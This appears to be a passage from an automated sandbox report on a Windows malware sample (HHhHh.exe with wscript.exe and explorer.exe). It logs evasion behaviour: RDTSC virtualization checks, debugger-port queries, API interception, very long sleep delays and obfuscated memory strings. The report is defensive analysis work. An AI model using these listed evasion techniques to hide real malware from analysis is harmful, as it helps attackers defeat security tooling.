Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	API/Special instruction interceptor: Address: 7FF8C88ED324
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	API/Special instruction interceptor: Address: 7FF8C88F0774
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	API/Special instruction interceptor: Address: 7FF8C88F0154
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	API/Special instruction interceptor: Address: 7FF8C88ED8A4
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	API/Special instruction interceptor: Address: 7FF8C88EDA44
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	API/Special instruction interceptor: Address: 7FF8C88ED1E4
Source: C:\Windows\SysWOW64\wscript.exe	API/Special instruction interceptor: Address: 7FF8C88ED324
Source: C:\Windows\SysWOW64\wscript.exe	API/Special instruction interceptor: Address: 7FF8C88F0774
Source: C:\Windows\SysWOW64\wscript.exe	API/Special instruction interceptor: Address: 7FF8C88ED944
Source: C:\Windows\SysWOW64\wscript.exe	API/Special instruction interceptor: Address: 7FF8C88ED504
Source: C:\Windows\SysWOW64\wscript.exe	API/Special instruction interceptor: Address: 7FF8C88ED544
Source: C:\Windows\SysWOW64\wscript.exe	API/Special instruction interceptor: Address: 7FF8C88ED1E4
Source: C:\Windows\SysWOW64\wscript.exe	API/Special instruction interceptor: Address: 7FF8C88F0154
Source: C:\Windows\SysWOW64\wscript.exe	API/Special instruction interceptor: Address: 7FF8C88ED8A4
Source: C:\Windows\SysWOW64\wscript.exe	API/Special instruction interceptor: Address: 7FF8C88EDA44

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	RDTSC instruction interceptor: First address: 409904 second address: 40990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	RDTSC instruction interceptor: First address: 409B7E second address: 409B84 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\wscript.exe	RDTSC instruction interceptor: First address: 909904 second address: 90990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\wscript.exe	RDTSC instruction interceptor: First address: 909B7E second address: 909B84 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc

Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Memory allocated: 25F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Memory allocated: 26B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Memory allocated: 25F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Memory allocated: 88C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Memory allocated: 6BB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Memory allocated: 88C0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe

Code function: 4_2_00409AB0 rdtsc

4_2_00409AB0

Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe

Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 1808	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 8129	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 901	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 852	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Window / User API: threadDelayed 9842	Jump to behavior

Source: C:\Windows\explorer.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_5-13756

Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	API coverage: 1.7 %
Source: C:\Windows\SysWOW64\wscript.exe	API coverage: 1.6 %

Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe TID: 5948	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5836	Thread sleep count: 1808 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5836	Thread sleep time: -3616000s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5836	Thread sleep count: 8129 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5836	Thread sleep time: -16258000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe TID: 3292	Thread sleep count: 132 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe TID: 3292	Thread sleep time: -264000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe TID: 3292	Thread sleep count: 9842 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe TID: 3292	Thread sleep time: -19684000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\wscript.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\wscript.exe

6_2_009C23CE

Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe

Thread delayed: delay time: 922337203685477

Source: wscript.exe, 00000000.00000003.2102632040.0000020734E38000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2102469274.0000020734DE0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: bRoFQQaDjKvahvxghgFSMTu+cDD6uIlEy+vz@UM8&&FPHU1uWNJ
Source: wscript.exe, 00000000.00000003.2111597853.0000020734DAE000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2102832884.0000020734D9D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2110811181.0000020734DAA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2111315899.0000020734DAD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2111847662.0000020734DB7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: bRoFQQaDjKvahvxghgFSMTu+cDD6uIlEy+vz@UM8&&FPHU1uWNYcmvIf
Source: wscript.exe, 00000000.00000003.2097920261.000002073488B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2101278008.00000207348A1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2094053067.0000020734870000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2096800451.000002073488B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2093147100.000002073486F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2094169799.000002073487B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2099646800.000002073489E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2094703457.0000020734887000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2098729542.0000020734894000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2101410771.00000207348A6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Skj9FIy&&l@&&RUED4yIBH2QL3QujPCxhSjE/ewQcl5gRis#RoFQQaDjKvahvxghgFSMTu+cDD6uIlEy+vz@UM8&&FPHU1u
Source: wscript.exe, 00000000.00000003.2121428986.0000020734FA8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2123896454.0000020734E45000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: &&RUED4yIBH2QL3QujPCxhSjE/ewQcl5gRisVRoFQQaDjKvahvxghgFSMTu+cDD6uIlEy+vz
Source: wscript.exe, 00000000.00000003.2082217621.0000020734FE7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2082784146.0000020734FE9000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2078931964.0000020734FE7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2084727269.000002073500C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2082523938.0000020734FE8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2081423094.0000020734FE7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2083329701.0000020734FFE000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2086044332.000002073500C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2083764851.0000020735001000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2088075126.0000020735015000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Skj9FIy&&l@&&RUED4yIBH2QL3QujPCxhSjE/ewQcl5gRis#RoFQQaDjKvahvxghgFSMTu+cDD6uIlEy+vz@UM8&&FPHU1uf
Source: wscript.exe, 00000000.00000003.2060374399.0000020734E80000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2060900694.0000020734E80000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s&&4PN9??C+mK0HNkPaoCwMjYUlGvlxufC5sr2znawu??ZTZeUfEZO??1q72pqbYtPDIrvZNLe2#7e3&&??Skj9FIy&&l@&&RUED4yIBH2QL3QujPCxhSjE/ewQcl5gRis#RoFQQaDjKvahvxghgFSMTu+cDD6uIlEy+vz@UM8&&FPHU1u??N##ac&&+x#mduMsw0tM4&&1p
Source: wscript.exe, 00000000.00000003.2066616044.000002073485F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2070232121.0000020734864000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2069476462.0000020734864000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s&&4PN9??C+mK0HNkPaoCwMjYUlGvlxufC5sr2znawu??ZTZeUfEZO??1q72pqbYtPDIrvZNLe2#7e3&&??Skj9FIy&&l@&&RUED4yIBH2QL3QujPCxhSjE/ewQcl5gRis#RoFQQaDjKvahvxghgFSMTu+cDD6uIlEy+vz@UM8&&FPHU1u??N##ac&&+x#mduMsw0tM4&&1p%

Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe

Process information queried: ProcessInformation

Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe

Code function: 4_2_00409AB0 rdtsc

4_2_00409AB0

Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe

Code function: 4_2_0040ACF0 LdrLoadDll,

4_2_0040ACF0

Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012C0124 mov eax, dword ptr fs:[00000030h]	4_2_012C0124
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01350115 mov eax, dword ptr fs:[00000030h]	4_2_01350115
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0133A118 mov ecx, dword ptr fs:[00000030h]	4_2_0133A118
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0133A118 mov eax, dword ptr fs:[00000030h]	4_2_0133A118
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0133A118 mov eax, dword ptr fs:[00000030h]	4_2_0133A118
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0133A118 mov eax, dword ptr fs:[00000030h]	4_2_0133A118
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01328158 mov eax, dword ptr fs:[00000030h]	4_2_01328158
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01324144 mov eax, dword ptr fs:[00000030h]	4_2_01324144
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01324144 mov eax, dword ptr fs:[00000030h]	4_2_01324144
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01324144 mov ecx, dword ptr fs:[00000030h]	4_2_01324144
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01324144 mov eax, dword ptr fs:[00000030h]	4_2_01324144
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01324144 mov eax, dword ptr fs:[00000030h]	4_2_01324144
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01296154 mov eax, dword ptr fs:[00000030h]	4_2_01296154
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01296154 mov eax, dword ptr fs:[00000030h]	4_2_01296154
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0128C156 mov eax, dword ptr fs:[00000030h]	4_2_0128C156
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012D0185 mov eax, dword ptr fs:[00000030h]	4_2_012D0185
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0131019F mov eax, dword ptr fs:[00000030h]	4_2_0131019F
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0131019F mov eax, dword ptr fs:[00000030h]	4_2_0131019F
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0131019F mov eax, dword ptr fs:[00000030h]	4_2_0131019F
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0131019F mov eax, dword ptr fs:[00000030h]	4_2_0131019F
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01334180 mov eax, dword ptr fs:[00000030h]	4_2_01334180
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01334180 mov eax, dword ptr fs:[00000030h]	4_2_01334180
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0134C188 mov eax, dword ptr fs:[00000030h]	4_2_0134C188
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0134C188 mov eax, dword ptr fs:[00000030h]	4_2_0134C188
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0128A197 mov eax, dword ptr fs:[00000030h]	4_2_0128A197
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0128A197 mov eax, dword ptr fs:[00000030h]	4_2_0128A197
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0128A197 mov eax, dword ptr fs:[00000030h]	4_2_0128A197
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_013661E5 mov eax, dword ptr fs:[00000030h]	4_2_013661E5
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012C01F8 mov eax, dword ptr fs:[00000030h]	4_2_012C01F8
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0130E1D0 mov eax, dword ptr fs:[00000030h]	4_2_0130E1D0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0130E1D0 mov eax, dword ptr fs:[00000030h]	4_2_0130E1D0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0130E1D0 mov ecx, dword ptr fs:[00000030h]	4_2_0130E1D0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0130E1D0 mov eax, dword ptr fs:[00000030h]	4_2_0130E1D0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0130E1D0 mov eax, dword ptr fs:[00000030h]	4_2_0130E1D0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_013561C3 mov eax, dword ptr fs:[00000030h]	4_2_013561C3
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_013561C3 mov eax, dword ptr fs:[00000030h]	4_2_013561C3
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01326030 mov eax, dword ptr fs:[00000030h]	4_2_01326030
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0128A020 mov eax, dword ptr fs:[00000030h]	4_2_0128A020
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0128C020 mov eax, dword ptr fs:[00000030h]	4_2_0128C020
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01314000 mov ecx, dword ptr fs:[00000030h]	4_2_01314000
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01332000 mov eax, dword ptr fs:[00000030h]	4_2_01332000
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01332000 mov eax, dword ptr fs:[00000030h]	4_2_01332000
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01332000 mov eax, dword ptr fs:[00000030h]	4_2_01332000
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01332000 mov eax, dword ptr fs:[00000030h]	4_2_01332000
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01332000 mov eax, dword ptr fs:[00000030h]	4_2_01332000
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01332000 mov eax, dword ptr fs:[00000030h]	4_2_01332000
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01332000 mov eax, dword ptr fs:[00000030h]	4_2_01332000
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01332000 mov eax, dword ptr fs:[00000030h]	4_2_01332000
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012AE016 mov eax, dword ptr fs:[00000030h]	4_2_012AE016
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012AE016 mov eax, dword ptr fs:[00000030h]	4_2_012AE016
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012AE016 mov eax, dword ptr fs:[00000030h]	4_2_012AE016
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012AE016 mov eax, dword ptr fs:[00000030h]	4_2_012AE016
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012BC073 mov eax, dword ptr fs:[00000030h]	4_2_012BC073
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01316050 mov eax, dword ptr fs:[00000030h]	4_2_01316050
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01292050 mov eax, dword ptr fs:[00000030h]	4_2_01292050
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_013560B8 mov eax, dword ptr fs:[00000030h]	4_2_013560B8
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_013560B8 mov ecx, dword ptr fs:[00000030h]	4_2_013560B8
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_013280A8 mov eax, dword ptr fs:[00000030h]	4_2_013280A8
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0129208A mov eax, dword ptr fs:[00000030h]	4_2_0129208A
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012980E9 mov eax, dword ptr fs:[00000030h]	4_2_012980E9
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0128A0E3 mov ecx, dword ptr fs:[00000030h]	4_2_0128A0E3
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_013160E0 mov eax, dword ptr fs:[00000030h]	4_2_013160E0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0128C0F0 mov eax, dword ptr fs:[00000030h]	4_2_0128C0F0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012D20F0 mov ecx, dword ptr fs:[00000030h]	4_2_012D20F0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_013120DE mov eax, dword ptr fs:[00000030h]	4_2_013120DE
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012CA30B mov eax, dword ptr fs:[00000030h]	4_2_012CA30B
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012CA30B mov eax, dword ptr fs:[00000030h]	4_2_012CA30B
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012CA30B mov eax, dword ptr fs:[00000030h]	4_2_012CA30B
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0128C310 mov ecx, dword ptr fs:[00000030h]	4_2_0128C310
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012B0310 mov ecx, dword ptr fs:[00000030h]	4_2_012B0310
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0133437C mov eax, dword ptr fs:[00000030h]	4_2_0133437C
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01338350 mov ecx, dword ptr fs:[00000030h]	4_2_01338350
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0135A352 mov eax, dword ptr fs:[00000030h]	4_2_0135A352
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0131035C mov eax, dword ptr fs:[00000030h]	4_2_0131035C
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0131035C mov eax, dword ptr fs:[00000030h]	4_2_0131035C
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0131035C mov eax, dword ptr fs:[00000030h]	4_2_0131035C
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0131035C mov ecx, dword ptr fs:[00000030h]	4_2_0131035C
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0131035C mov eax, dword ptr fs:[00000030h]	4_2_0131035C
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0131035C mov eax, dword ptr fs:[00000030h]	4_2_0131035C
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01312349 mov eax, dword ptr fs:[00000030h]	4_2_01312349
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01312349 mov eax, dword ptr fs:[00000030h]	4_2_01312349
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01312349 mov eax, dword ptr fs:[00000030h]	4_2_01312349
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01312349 mov eax, dword ptr fs:[00000030h]	4_2_01312349
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01312349 mov eax, dword ptr fs:[00000030h]	4_2_01312349
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01312349 mov eax, dword ptr fs:[00000030h]	4_2_01312349
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01312349 mov eax, dword ptr fs:[00000030h]	4_2_01312349
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01312349 mov eax, dword ptr fs:[00000030h]	4_2_01312349
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01312349 mov eax, dword ptr fs:[00000030h]	4_2_01312349
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01312349 mov eax, dword ptr fs:[00000030h]	4_2_01312349
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01312349 mov eax, dword ptr fs:[00000030h]	4_2_01312349
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01312349 mov eax, dword ptr fs:[00000030h]	4_2_01312349
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01312349 mov eax, dword ptr fs:[00000030h]	4_2_01312349
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01312349 mov eax, dword ptr fs:[00000030h]	4_2_01312349
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01312349 mov eax, dword ptr fs:[00000030h]	4_2_01312349
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0128E388 mov eax, dword ptr fs:[00000030h]	4_2_0128E388
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0128E388 mov eax, dword ptr fs:[00000030h]	4_2_0128E388
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0128E388 mov eax, dword ptr fs:[00000030h]	4_2_0128E388
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012B438F mov eax, dword ptr fs:[00000030h]	4_2_012B438F
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012B438F mov eax, dword ptr fs:[00000030h]	4_2_012B438F
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01288397 mov eax, dword ptr fs:[00000030h]	4_2_01288397
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01288397 mov eax, dword ptr fs:[00000030h]	4_2_01288397
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01288397 mov eax, dword ptr fs:[00000030h]	4_2_01288397
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A03E9 mov eax, dword ptr fs:[00000030h]	4_2_012A03E9
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A03E9 mov eax, dword ptr fs:[00000030h]	4_2_012A03E9
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A03E9 mov eax, dword ptr fs:[00000030h]	4_2_012A03E9
